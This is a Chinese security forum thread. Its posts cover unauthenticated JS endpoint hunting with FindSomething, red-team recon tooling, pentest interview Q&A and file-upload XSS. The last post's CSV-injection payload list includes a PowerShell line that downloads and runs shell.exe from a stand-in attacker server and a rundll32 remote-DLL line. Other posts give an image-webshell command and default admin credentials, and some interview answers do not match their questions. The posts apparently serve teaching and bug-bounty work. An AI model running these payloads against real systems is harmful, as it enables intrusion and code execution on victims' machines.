    因为我电脑是MacBook的原因,所以一些软件使用上面还是有差异,师傅们可以自行上网搜索,Google浏览器还是很好用的,多搜搜,最好希望师傅们测试这个漏洞的时候测下国外的,不要未授权测试国内的!!!

    文章中涉及的敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打码处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行承担。

  • 你好,审核师傅,有无联系方式,交流文章版费问题

    • 跟和师傅的文章,学习不一样的知识 😀

      • 回复了此帖
      • 0x1 前言

        哈喽,师傅们!

        这次又来给师傅们分享我的文章心得了呦,这次是给师傅们分享下js未授权漏洞挖掘的一个小技巧的汇总,然后也是会给师傅们分享几个案例,带师傅们更加深刻的理解和看的懂这个js未授权,然后再带师傅们去挖这个漏洞,从怎么挖去带师傅们掌握这个js未授权。

        然后特别是给一些不会挖漏洞,然后针对于FindSomething插件工具的使用来做一个分享,让师傅们对呀FindSomething插件的使用更加娴熟,能够更好的利用这个插件,然后让师傅们挖出属于自己的第一个js未授权漏洞!

        0x2 js未授权简介

        一、什么是未授权?

        首先理解什么是未授权漏洞
        未授权字面上理解是未获得授权,对于正常的业务来说,有些功能点需要经过登录之后才能进行,那么如果我们通过一些绕过,无需登录也可以完成此类操作,那么便是未授权访问漏洞了。

        二、常见的未授权访问漏洞

        常见的未授权漏洞一般分为两种:

        1. 组件类的,如js未授权、redis未授权、mongodb未授权等,也是比较常见的。对于此类漏洞,可以理解为不需要登录即可执行里面的功能,所以存在未授权漏洞。
        2. WEB层面的,如某某CMS未授权文件上传、未授权创建账号、findsomething接口拼接未授权访问敏感信息泄露等。因为可以绕过登录限制进行操作,所以存在未授权访问漏洞。

        三、浅谈

        未授权访问的挖掘不是针对所有网站,这只是一种思路,通过信息收集来实现登录绕过,从而达到未授权。正常来说可以通过抓包修改返回值也可以达到绕过,前提是不知道网站代码的判断情况下,可以尝试猜解返回值。如果网站后端认证做好了,是不会有该漏洞的。

        0x3浅谈 js未授权挖掘技巧

        一、常规js未授权挖掘

        这里就要和师傅们分享下我之前在没有认真研究js未授权的时候,喜欢的一个针对js的一个测试手法。我相信很多师傅应该都是和我一样的思路,就是大家知道且都非常喜欢使用的一个插件findsomething。就是常见的使用findsomething小熊猫头插件打开,然后把里面的泄露的路径进行拼接使用,然后直接拿bp进行POST/GET方法都进行跑一遍,然后再看看有没有什么js路径拼接,然后导致的敏感信息泄露。

        然后把插件泄露的js路径保存到一个txt文件夹里面

        然后简单的进行GET/POST跑下

        然后跑完以后会发现,怎么还是没跑出什么东西来,然后就这样觉得这个js路径很安全,没有漏洞,直接下了

        Google插件FindSomething下载链接:https://chromewebstore.google.com/detail/findsomething/kfhniponecokdefffkpagipffdefeldb

        二、使用findsomething插件工具的目的

        为了寻找隐藏的接口

        JS中存在一些网址或接口信息,特别是隐藏的一些信息,也就是UI中没有的,这些隐藏的 接口很有可能存在各种常见的漏洞,例如越权,未授权等。

        如果我们通过JS中的信息构造出完整的隐藏接口和传参,就有可能发现极其隐蔽的漏洞

        三、js未授权挖掘小技巧分享

        师傅们来看下下面的这个接口,是不是可以看到存在一个id参数,那么你要是直接把这个复制下来,然后去使用bp跑,是不是再怎么跑都跑不出什么信息泄露

        然后还有就是下面的这个js接口,findsomething显示出来的接口,一个?id=xxx的一个参数,像碰到这样的,我们是不是得提前进行一个数据的处理,然后再放到bp去跑接口,才会最大可能性让你找到一些敏感信息泄露的接口,这样就是有些师傅挖不到js未授权的漏洞,但是有些师傅却可以的原因之一了

        还有下面的这种情况,就是跑js路径的时候,需要我们注意前面是否有前缀

        像上面的存在一个#的路径,建议是师傅们单独把这些js路径给拿出来,进行一个手动拼接尝试看看未授权,或者说要爆破,那也得把这个/#/这个给带上,然后再进行一个爆破,下面简单来拿百度的给师傅们看看这个案例

        下面可以把findsomething的url复制到一个txt文本里面,然后进行替换如下:

        四、查询接口的未授权访问测试奇招

        就是我们平常在测试漏洞的时候,有时候不传参,或者在参数置空,发包的时候,对方服务器返回的请求是500的时候,那么有时候使用下面的参数进行一个传参,把这个给加上去,那么有时候会有一个不一样的效果,有时候就能返回一些高权限才可以看的内容

        {
        "pageNum":"1",
        "pageSize":"100"
        }
        
        
        {
        "pageNo"1",
        "pageSize":100,
        }

        五、HAE匹配规则

        下面是我给师傅们整理的HAE正则匹配,直接使用bp中的hae插件,把下面的规则直接导入到bp插件hae中,或者编辑Rules.yml文件

        type:"POST"|type:"GET"|post("|get("|ashx?|ashx|ur1:|ur1:"|ur1:|path:|path:|path:|action?|data|params

        0x4 总结

        针对js未授权漏洞的一个分享呢就到这里文章就结束了,希望这篇文章对师傅们有帮助。

        师傅们在挖掘企业src或者edu过程中,这个js未授权和使用FindSomething插件使用去挖掘漏洞来讲,特别是针对小白师傅们是非常友好的,也是蛮建议师傅们看完我的文章然后去进行一个js未授权的一个漏洞挖掘,这样可以让师傅们更加掌握这个技能,也是希望师傅们偶尔挖挖漏洞,然后赚点赏金什么的。

        文章中涉及的敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打码处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行承担!

      • 师傅,这篇文章很有用,可以转载您文章备注原文链接和作者嘛 😀

        • 0x1 攻防的研究思考

          渗透的本质是信息收集,攻防的体系是知识点的串联。

          进入内网,需要注意的东西:

          1、网段

          网段可以让我们确定往哪里打,看他是什么网段,再去怎么进行一个横向

          2、密码

          通过账号密码,合法进入

          ATT&CK框架

          侦察(企业、ICS)
          资源开发(企业、ICS)
          初始访问
          执行
          坚持不懈
          权限升级
          防御回避
          凭证访问(企业、移动)
          发现
          横向运动
          收藏品
          指挥与控制
          渗透(企业、移动)
          影响 
          网络效应(仅限手机)
          网络服务效果(仅限手机)
          抑制响应功能(仅限 ICS)
          损害过程控制(仅限 ICS)

          参考文档:

          https://xz.aliyun.com/t/14149

          MITRE ATT&CK,全称是MITRE Adversarial Tactics Techniques and Common Knowledge,即入侵者战术、技术和共有知识库,是以骇客的视角,针对网络攻击入侵进行分类和说明的指南,由非营利组织MITRE所创建。

          MITREhttps://www.mitre.org/

          MITRE(The MITRE Corporation)是一家非营利性的美国研究和技术组织,成立于1958年,最初从麻省理工学院林肯实验室分离出来。该组织在众多关键领域为美国政府提供系统工程、研究开发和信息技术支持服务,尤其以网络安全、国防技术、航空系统、医疗保健、生物识别技术和公共政策分析等方面的研究与应用闻名。

          网络杀伤链

          网络杀手链的 7 个阶段:
          侦察
          武器化
          送货
          剥削
          安装
          指挥与控制
          目标行动

          https://www.blackberry.com/cn/zh/solutions/endpoint-security/mitre-attack/mitre-attack-vs-cyber-kill-chain

          0x2 打点的艺术

          1、对靶标分析

          在 HW 当中,获取到的靶标存在多种行业。对不同的靶标存在不同的打法,我通常分为两个大方向。其一为机关单位,其二为集团公司等。

          其中二者区别对攻击者而言,就是资产的散落程度。

          地级市的机关单位通常将网站托管在政务云,大数据等。这意味着,通常两三个的 C 段部署着当地大量的机关单位网站集群。

          集团公司等靶标应当采取“老式” 的打点方式,所以接下来对两种打的方式进行打法剖析。

          2、工具的使用

          对于机关单位的打法,因为其资产通常散落在多个大的 C 段当中,所以首要的目标就是对其 C 段权重的寻找。切入点应该选择手中的靶标为机关单位的目标,以此为点。

          棱眼: https://github.com/EdgeSecurityTeam/Eeyes

          对目标的子域对应 IP 进行 C 段权重的判断

          Eeyes(棱眼)是之前写的工具,旨在获取到大量域名之后,获取其中真实IP并整理成c段,有助于在src中或红蓝攻防中快速定位目标的真实资产,可结合棱洞使用,识别cdn的准确率是网络环境决定的。

               ______    __         ______
              / ____/___/ /___ ____/_  __/__  ____ _____ ___
             / __/ / __  / __ `/ _ \/ / / _ \/ __ `/ __ `__ \
            / /___/ /_/ / /_/ /  __/ / /  __/ /_/ / / / / / /
           /_____/\__,_/\__, /\___/_/  \___/\__,_/_/ /_/ /_/
                 /____/ https://forum.ywhack.com  By:shihuang
          
          Eeyes version: 0.0.1
          Usage: Eeyes [-f|-l] [parameter]
          
          Options:
            -f string
                Fofa searches for assets , supports domain。(example.com)
            -ftime string
                fofa timeout (default "10")
            -h  this help
            -l string
                Probe based on local file
            -log string
                Log file name (default "server.log")

          EHole(棱洞) 红队重点攻击系统指纹探测工具

          使用确定EHole(棱洞) 来确定 C 段的权重是否正确,进行C段的资产梳理

          EHole是一款对资产中重点系统指纹识别的工具,在红队作战中,信息收集是必不可少的环节,如何才能从大量的资产中提取有用的系统(如OA、VPN、Weblogic...)。EHole旨在帮助红队人员在信息收集期间能够快速从C段、大量杂乱的资产中精准定位到易被攻击的系统,从而实施进一步攻击。

          3、打法汇总

          1、如 React,Vue,AngularJS 的 XSS 问题? (使用这几个框架搭建的系统都进行了预编译,XSS语句不会被执行)

          jquery // vue {{var}}. v-html=var

          2、springboot 不解析 jsp 马的问题?(不需要测试文件上传getshell)

          tomcat-jsper.

          https://www.cnblogs.com/lovlife/articles/12766362.html

          3、fofa 的资产打开 404 真的是关站了嘛? 扫端口

          直接从fofa打开网站,带了fofa的referer头,直接被拦截了

          4、对目标技术栈 springcloud 分布式,k8s 云新架构的入手点问题 (软柿子捏的问题) 等等,框架的演变讲解:

          jsp/servlet. ==> ssh hiberna,spring,struts2. > ssm mybatis,spring,springmvc > springboot ssm 约定大于配置 => 前后端分离 json ajax 前端和 后端分开来部署 ====> springcloud. 分布式。

          4、Goby 和 Xray 的结合使用

          HW 前通常会准备七八台云服务器,部署 Xray 和 Goby,将信息搜集到的资产经过 Goby 的全端口扫描 之后导出 web 服务转入

          Xray 和 Rad 的批量扫描。例如机关单位的几个 C 段进行 Goby 全端口扫描

          导入服务器到goby操作:

          https://blog.csdn.net/FY10033/article/details/124581536

        • 0x1 前言

          下面呢主要是给师傅们分享自己一、二面面试的经验和面试题,以文字的形式给大家展示一下(可能有些地方描述和解答的不是很正确,希望大佬们勿喷!)
          通过邮箱联系,然后安排时间腾讯会议面试
          目前到二面了,从投递简历到一面过了差不多10天左右,然后开始的一面,一面主要是某科技的安服工程师和那边的一个项目经理一起面试我。
          面试开始那边也是直接先介绍了下他们自己,然后再让我自我介绍下,我也就提前准备的面经,然后进行面试前的一个熟练背,再加上自己的一些随机发挥,看面试官他们问什么然后自我介绍再适当的回答(这里给师傅们点建议,得学会自我介绍的时候吹牛逼),然后就是吧啦吧啦的介绍了,也没什么特别需要给师傅们分享的了。

          0x2 一面面试官的问题

          1、面试官开始就问了我,为什么要学网络安全?

          这里我就不给师傅们回答了,这个看自己的发挥了(尽量显的自己特别热爱安全,把安全当成自己的一个兴趣)
          后面我就开始给师傅们介绍下面试的问题吧,然后最后面我也会给师傅们一些面试的经验,然后从投递简历到面试再到面试通过选择去哪家公司的一个建议(大佬勿喷)

          2、什么是sql注⼊

          攻击者通过在输⼊的SQL查询中注⼊恶意代码,来执⾏他们想要的操作,⽐如获取敏感信息、删除或篡改数据
          等。这种攻击通常发⽣在⽤户输⼊没有经过充分验证和清理的情况下,例如在⽹站的登录表单或搜索框中输⼊
          SQL语句。为了防⽌SQL注⼊,开发者应该使⽤参数化查询和预编译的查询,对⽤户的输⼊进⾏严格的验证和清
          理。

          3、关于sql注⼊,都分为那些?

          1. 有回显和⽆回显
          2. ⽆回显称为盲注,包括布尔盲注或者dnslog外带来探测
          3. 有回显可以union联合查询、报错注⼊、宽字节注⼊、堆叠注⼊、⼆次注⼊

          4、如果在实战中遇到了防护,⽐如sql注⼊过滤掉了空格怎么办?

          将空格URL编码,例如%20 %0a

          5、什么是csrf?

          tomcat⽇志默认路径:在安装⽬录下的logs⽂件夹下
          apache /etc/httpd/conf/httpd.conf
          nginx的⽇志主要分为access.log、error.log两种,可通过查看nginx.conf⽂件来查找相关⽇志路径

          6、简单讲解下内存⻢?

          tomcat的servletAPI型内存⻢为例
          创建了⼀个恶意的servlet,然后获取当前的StandardContext,然后将恶意servlet封装成wrapper添加
          到StandardContext的children当中,最后添加ServletMapping将访问的URL和wrapper进⾏绑定。

          7、讲下内存⻢排查思路?

          1. 首先判断是什么方式注入的内存马
          2. 可以通过查看web日志,以及看是否有类似哥斯拉、冰蝎的流量特征
          3. 如果web日志中没有发现,那么我们就可以排查中间件的error.log日志

          8、平常有对APP、小程序渗透测试嘛?

          有的

          9、你是用什么工具对app进行抓包?

          我是使用的雷电模拟器然后使用burpsuit配合进行抓取app数据包的

          10、针对apache的⽂件上传,可以使⽤什么?

          上传.htaccess
          apache解析漏洞,如果上传.htaccess,那么当前⽬录就会按照htaccess中的配置执⾏

          11、关于图⽚⻢的制作你知道那些⽅法?

          命令⾏⽅式:copy 1.png/b+1.php/a 2.png
          在⽂件头中加⼊GIF98a
          BurpSuite抓包修改图⽚body
          打开图⽚⽂件属性,在详细信息那⾥写⼊⼀句话

          12、蚁剑和冰蝎的区别?

          冰蝎的流量进⾏了aes加密,相对于蚁剑更加难以被检测,webshell免杀性好。冰蝎更新了4.0更加安全和易注⼊。

          13、平常有挖企业src嘛?可以说说你的资产收集过程嘛?

          • 1、首先确定我们要挖的公司资产
          • 2、使用wps,新建一个exec表格,里面新建好几个表格,备注比如:根域名、子域名、小程序、app以及漏洞提交进度等情况
          • 3、上爱企查看这个企业的知识产权,然后看网站备案,然后看这个公司的股权穿透图,这里有一个找边缘资产的好方法,就是看股权穿透图找下面的子公司,但是不同的企业src收录标准不一
          • 4、使用小蓝本查该公司的一个小程序、app,然后保存在exec表格里面
          • 5、使用oneforall工具进行子域名挖掘,然后保存到一个txt里面,再使用灯塔进行子域名挖掘,再汇总,然后使用无影工具里面的辅助模块进行资产分类
          • 6、使用灯塔ARL自动化跑,去找一些文件泄露的漏洞

          14、有自己的技术博客嘛,在先知、freebuf等平台发表过文章嘛?

          都有,自己一直有保持写技术博文的习惯

          15、关于代码审计你知道那些,说说看?

          1. 我主要是对Java代码审计⽐较熟悉,例如⼀般Spring Boot项⽬中,
          2. 使⽤mybatis框架处理sql语句,其中${包裹的参数如果是⽤户可控的就可能存在sql注⼊。
          3. Java中的命令执⾏函数,Runtime类的exec⽅法和ProcessBuilder类
          4. 反序列化函数和类加载函数,例如readObject、Classload.defineClass类加载⽅法等。
          5. 通过pom.xml排查引⼊的框架版本是否存在漏洞。
          6. 还有⽂件上传/⽂件读取接⼝是否有充⾜限制,是否存在任意⽂件上传和⽂件任意读取
          7. 还了解⼀些例如codeql、Fortify SCA⾃动化代码审计⼯具

          16、Shiro-550 反序列化漏洞有了解嘛,简单讲下?

          shiro反序列化漏洞的特征:cookie里有remember字段
          在整个漏洞利用过程中,比较重要的是AES加密的密钥,该秘钥默认是默认硬编码的,所以如果没有修改默认的密钥,就自己可以生成恶意构造的cookie了。
          检测的话,利用burp抓包,更改cookie,可以看到响应包中的rememberMe=deleteMe字段

          17、如果⽹站有CDN,你如何查看他的真实IP地址

          1. 多地ping主域名、⼦域名,利⽤冷⻔国家的服务器来ping
          2. 查询cdn解析历史
          3. 利⽤cdn⼯具
          4. 通过ping错误的⼦域名,如果⽬标服务器开启了模糊域名,就可以直接看到真实ip
          5. ddos打光cdn流量,再ping就是真实IP
          6. 通过ssrf绕过cdn
          7. 通过反弹shell直接得到IP
          8. 敏感信息泄露,例如phpinfo中就有ip
          9. 社⼯,进⾏邮件往来,邮件头上就会有IP

          18、在校期间打过什么比赛,介绍下,再讲下让你印象最深刻的比赛?

          (这里师傅们就靠自己脑补了)自己就把自己打过的比赛和获奖说下,大公司还是蛮注重你在大学期间的比赛成绩的。

          0x3 一面总结

          给大家的建议:
          开始也是跟师傅们说了,最后面给师傅们分享下面试的一些小技巧,因为最近也是蛮多师傅们问我面试找工作的一些事情,然后也算是给师傅们分享下了。
          首先,我们再进行投递简历的时候,得海投,多去招聘网站,比如BOSS、牛客网、猎聘等进行投递简历,然后简历呢多学会吹吹牛逼,因为hr会先进行一次简历的筛选(你说你面试都没有面都被淘汰了,是不是很可惜)
          其次,就是面试笔记,也就是面经的重要性了,包括我认识的好几个师傅人家技术水平虽然说不是那么厉害,但是人家面试不论是护网还是找工作面试官都对他的印象很好的,所以说面试笔记得多看多背
          最后,就是有些师傅问我面过了好几家公司,拿到了好几家公司的office,怎么选择呢,这里我的建议是得看师傅自己的未来一个规划,然后要是能像国企那样的,比较稳定的那种优先,因为目前行业不是很好,然后就是能提升学历就提升学历去,现在裁员也越来越严重。

          0x4 二面面试官的问题:

          1、问了我最近在做什么,学什么方向的东西?

          这个我就是正常回答嘛,说最近在找实习,然后前段事件在面你们渗透测试岗位,然后目前也是在准备面试相关的事情。
          然后学习的话,平常主要还是以src漏洞挖掘和一些攻防演练的课程进行学习,跟着别的师傅一起学。

          2、问了我简历上面写着有过培训经历,问我有过哪方面的培训?

          这个主要是大学期间给学校的信安小组啊,还有就是跟着别的安全团队搞过比赛的培训,还有就是有过简单的SRC漏洞挖掘的培训

          3、问对Windows和linux系统了解多少?

          回答的是对windows、Linux系统熟悉,然后也对windows、linux系统进行过相关的测试、攻击

          4、windows和linux查看计划任务⽤那些命令?

          windows:
          at 只⽤与windows server
          schtasks

          linux:
          at添加⼀次性计划任务。
          cat /etc/crontab 查看系统任务

          5、Linux后台有⼀个进程,你需要找到他的程序执⾏⽂件,该怎么找?

          1. 已知程序名称:ps -aux | grep name
          2. 已知端⼝:netstat -anp |grep port
          3. 已知pid:ps -aux | grep pid

          6、在渗透测试中,你知道常见的端口有哪些?

          我这里给师傅们汇总了下(蛮全的,需要面试的可以看看我这个)
          21端口:FTP

          22端口:ssh

          23端口:Telent服务

          25端口:邮件

          80端口:HTTP服务

          443端口:HTTPS服务

          445端口:公共文件系统

          1433端口:sql server

          1521端口:Oracle

          3306端口:mysql

          27017端口:MongoDB

          3389端口:远程桌面端口

          6379端口:redis

          7001端口:weblogic

          8080端口:8080端口是被用于WWW代理服务的,可以实现网页浏览,比如tomcat

          7、你知道那些web中间件漏洞?

          1. tomcat put写任意⽂件和远程代码执⾏
          2. log4j2 远程代码执⾏
          3. nginx 解析漏洞
          4. activeMQ 反序列化
          5. fastjson 反序列化
          6. jenkins 远程命令执⾏

          8、假如现在给你⼀个⽹站,你会怎么样去进⾏渗透测试,说⼀下你的思路

          • 1、首先确定我们要挖的公司资产
          • 2、使用wps,新建一个exec表格,里面新建好几个表格,备注比如:根域名、子域名、小程序、app以及漏洞提交进度等情况
          • 3、上爱企查看这个企业的知识产权,然后看网站备案,然后看这个公司的股权穿透图,这里有一个找边缘资产的好方法,就是看股权穿透图找下面的子公司,但是不同的企业src收录标准不一
          • 4、使用小蓝本查该公司的一个小程序、app,然后保存在exec表格里面
          • 5、使用oneforall工具进行子域名挖掘,然后保存到一个txt里面,再使用灯塔进行子域名挖掘,再汇总,然后使用无影工具里面的辅助模块进行资产分类
          • 6、使用灯塔ARL自动化跑,去找一些文件泄露的漏洞

          9、如何判断是否CDN?

          1. 多地ping
          2. nslookup
          3. nmap端⼝扫描出来特别多的web⽹站也可能是,有⼀次扫出来4000多nginx
          4. 全局cdn通过查as号判断(不确定,不主动提及)

          10、要是ping都⼀样就能判断真的没有CDN了吗?

          有可能使⽤的是全局CDN,通过查as号判断

          11、要是给你⼀个登陆框,可能存在什么样的漏洞?

          1. 弱⼝令、空⼝令
          2. sql注⼊
          3. ⽤户枚举
          4. 登陆认证绕过,例如Nacos的cookie=Nacos-Server
          5. 短信轰炸
          6. 短信验证码爆破
          7. 框架漏洞,例如shiro、struts2

          12、你漏洞挖掘中,比较熟悉的几个框架可以讲下嘛?

          若依框架
          spring-boot还有就是spring二次开发的框架
          jeecg框架
          bladex框架
          Nacos系统
          然后上面的框架系统的话有很多的nday漏洞,还有一些可以利用工具执行的漏洞,比如常见的若依框架登录系统,常见的弱口令很多,ry:admin123和admin:admin123,进去以后就有很多的nday可以打,然后没登陆进去还有就是druid协议,可以使用弱口令druid:druid,还有就是shiro默认密钥。

          13、⽐较喜欢⽤哪⼏种⼯具,它们的优势是什么?

          sqlmap⾃动化的sql注⼊,速度快准确度⾼,可以直接getshell
          nmap扫描端⼝,轻量级软件,好⽤效率⾼。
          xray漏扫,扫描漏洞速度快⽽且⽐较准确
          burpsuite抓包⼯具,好⽤,可以重放请求和爆破。

          14、你了解spring框架漏洞吗

          1. CVE-2018-1260 Spring Security Oauth2 远程代码执⾏
          2. CVE-2018-1271 Spring MVC ⽬录穿越漏洞
          3. CNVD-2016-04742 Spring Boot 框架 SPEL 表达式注⼊漏洞
          4. CVE-2014-3578 Spring Framework ⽬录遍历漏洞
          5. CVE-2022-22947 Spring Cloud Gateway SpEL表达式注⼊命令执⾏

          15、说⼀下你最难忘的挖洞经历?

          第一次挖出漏洞是在漏洞盒子的公益项目中提交的,第一次是出的存储型XSS漏洞,给了一个低危,然后挖的edusrc第一个是弱口令,在企业src和众测中挖出来的第一个漏洞都是未授权,比如nacos、druid未授权,直接拼接路径即可

          16、常⻅的中间件解析漏洞有哪些

          解析漏洞是指web服务器因对http请求处理不当导致将⾮可执⾏的脚本,⽂件等当做可执⾏的脚本,⽂
          件等执⾏。
          该漏洞⼀般配合服务器的⽂件上传功能使⽤,以获取服务器的权限。

          漏洞:
          IIS 5.x/6.0解析漏洞
          IIS 7.0/IIS 7.5/nginx0.8.3解析漏洞
          Nginx

          0x5 二面总结

          今天呢,给师傅们分享下杭州某科技渗透测试岗位二面的过程,主要是给师傅们分享下面试的一个过程和感触,面试题不是重点,因为面试过程也没有录音,所以有些面试的问题也不是记得特别全(主打一个总结)。
          开始一面不是跟师傅们说了嘛,一面主要是某科技的安服工程师和那边的一个项目经理一起面试我。二面就是那边某那边的一个级别应该那边负责人吧,也是一个技术面试,我猜测三面应该就是他们那边的HR面试了,三面应该就是谈薪资的一个过程了。这篇面试分享的文章呢,其实之前就已经想给师傅们分享了,但是呢前段时间一直有别的事情比较忙,又是护网,又是工作方面的一些事情,所以拖到今天给师傅们分享下了

          • 师傅,转载您的文章,备注原文链接和作者,可以嘛 😀

            • 师傅,转载您文章,备注原文地址和作者,可以嘛 : 😀

              • 师傅,转载您文章,备注文章原文地址和作者,可以嘛

                • 回复了此帖
                • 师傅,有没有联系方式啊,加个微信(膜拜大佬)

                  • 0x1 前言

                    哈喽,师傅们好!
                    这次打算给师弟们分享的是XSS之Flash弹窗钓鱼和文件上传getshell各种姿势的内容,然后先是给小白师傅们简单介绍下XSS漏洞和文件上传漏洞。然后后面给师傅们简单演示了XSS之Flash弹窗钓鱼,然后后面很详细的介绍了文件上传和XSS漏洞的组合拳的好几种方式,后面也是通过对一个站点的测试,给师傅们演示了一波。后面给师傅们整理了下pdf木马制作的过程以及最后面分享下我一次在测文件上传最后也是getshell了。

                    0x2 漏洞简介

                    文件上传原理

                    这里利用form表单标签和类型为file的Input标签来完成上传,要将表单数据编码格式置为 multipart/form-data 类型,这个编码类型会对文件内容在上传时进行处理,以便服务端处理程序解析文件类型与内容,完成上传操作。

                    <form method="POST" enctype="multipart/form-data">
                      <input type="file" name="file" value="请选择文件"><br />
                      <input type="submit">
                    </form>

                    0x3 浅谈上传XSS的各种类型姿势

                    允许上传HTML或SVG

                    允许上传html或者svg都可以能导致xss,也能导致任意URL跳转,甚至还能导致SSRF(很难利用),因为核心还是js代码可控;其中URL重定向漏洞可以参考之前我在先知写的文章:https://xz.aliyun.com/t/15069

                    html造成XSS就不多说了,懂得都懂;
                    主要说说svg文件如何造成xss。

                    检查思路:

                    1、创建一个恶意的svg文件,输入如下内容:

                    <?xml version="1.0" encoding="UTF-8"?>
                    
                            alert('XSS Attack!');

                    2、上传到文件中,并访问
                    可以看到已经成功弹窗出来了XSS漏洞

                    拓展:如果目标存在导出功能,如给svg导出为pdf这种功能,那么可能存在SSRF
                    可尝试使用其他协议更直观的查看,如file://

                    允许上传PDF文件

                    可能存在PDF XSS和任意URL跳转,但是由于属于浏览器层面的漏洞,所以厂商大概率不认可。

                    可以直接使用工具生成:https://www.xunjiepdf.com/editor

                    也可以按照网上的操作,用迅捷PDF编辑器去操作,效果都一样

                    因为pdf一般是后端的组件,有的开发可能配置成
                    wkhtmltopdf /tmp/html123.htm /uploads/pdf.pdf ,那就可直接利用file协议进行利用

                    如果网站本身存在预览JS的地方,可以试试通过CVE-2024-4367来实现PDF XSS 获取Cookie、账户接管等。

                    允许上传CSV文件

                    如果允许上传CSV文件,且上传的CSV文件的内容未经过处理过滤直接保存,那么可以尝试上传具有恶意命令执行payload的CSV文件,当其他用户下载该CSV文件时,可能会导致命令执行。

                    CSV文件的Payload如下:

                    DDE ("cmd";"/C calc";"!A0")A0
                    <span class="label label-primary">@SUM(1+9)*cmd</span>|' /C calc'!A0
                    =10+20+cmd|' /C calc'!A0
                    =cmd|' /C notepad'!'A1'
                    =cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
                    =cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

                    检查思路:

                    1. 上传恶意的CSV文件
                    2. 下载恶意的CSV文件
                    3. 观察下载后的CSV文件是否对等号=等特殊符号做了处理,payloads会否会成功执行,如果能则说明存在问题

                    0x4 组合拳实战测试

                    html、svg文件上传打XSS漏洞

                    师傅们可以看到找到下面的这个站点的这个功能存在文件上传,我先尝试一手html文件,html文件上传相对来讲常见点,并且一般要是能够上传html文件成功,基本上都可以打一个存储型XSS漏洞了

                    html恶意弹窗代码如下:

                    html恶意弹窗代码如下:

                    <!DOCTYPE html>
                    <html lang="en">
                    <head>
                        <meta charset="UTF-8">
                        <meta name="viewport" content="width=device-width, initial-scale=1.0">
                        <title>Document</title>
                        <script>alert('618')</script>
                    </head>
                    <body>
                        
                    </body>
                    </html>

                    上传成功,可以看到我这里上传的html文件的url路径,下面尝试访问下这个路径,看看里面的html恶意弹窗代码会不会执行

                    可以看到我这里换个浏览器访问,也是成功执行XSS弹窗了的

                    上传svg恶意文件也是一样的

                    svg恶意弹窗代码如下:

                    <?xml version="1.0" standalone="no"?>
                    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
                    "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
                    <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
                    <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900"
                    stroke="#004400"/>
                    <script type="text/javascript">
                    alert(618);
                    </script>
                    </svg>

                    也是一样换个浏览器访问,照样是可以成功执行弹窗的

                    制作pdf弹窗木马

                    pdf编辑器下载地址如下:

                    https://www.xunjiepdf.com/

                    直接打开然后新建空白页面,然后点击属性,然后点击右边的小点点

                    然后出现下面的选项框,点击新增js代码

                    写入app.alert(618); js代码,然后保存到本地

                    然后也是按照上面的一样步骤,也是可以打出一个存储型XSS漏洞

                    上传XML文件打XSS漏洞

                    上传xml文件必须CORS允许所有域 CORS 跨域资源请求(允许我们网站加载其他网页代码)

                    • xml它需要上传2个文件
                    • 首先上传第一个xml文件(url地址我们首先拿到)
                    • 然后再上传第二个xml文件

                    xml1:https://xxx.com/File/1/xxxxxx.xml

                    <?xml version="1.0" encoding="iso-8859-1"?>
                    
                    alert(/618/);

                    然后上传xml2,代码中的href填写xml1的上传链接路径

                    <?xml version="1.0" encoding="iso-8859-1"?>
                    <?xml-stylesheet type="text/xsl" href=""?>

                    CURL查看:curl 域名 -H "Origin: https://baidu.com" -I

                    0x5 总结

                    这篇文章对于仪式内容的介绍和分享就到这里了,然后后面要是有什么问题和需要交流的地方,师傅们可以跟我讨论下,里面的一些案例包括各种的打都写的蛮详细的,对小白师傅比较友好哈!
                    最后,希望这篇文章对师傅们有帮助哈!!!

                    文章中涉及的敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打码处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行承担!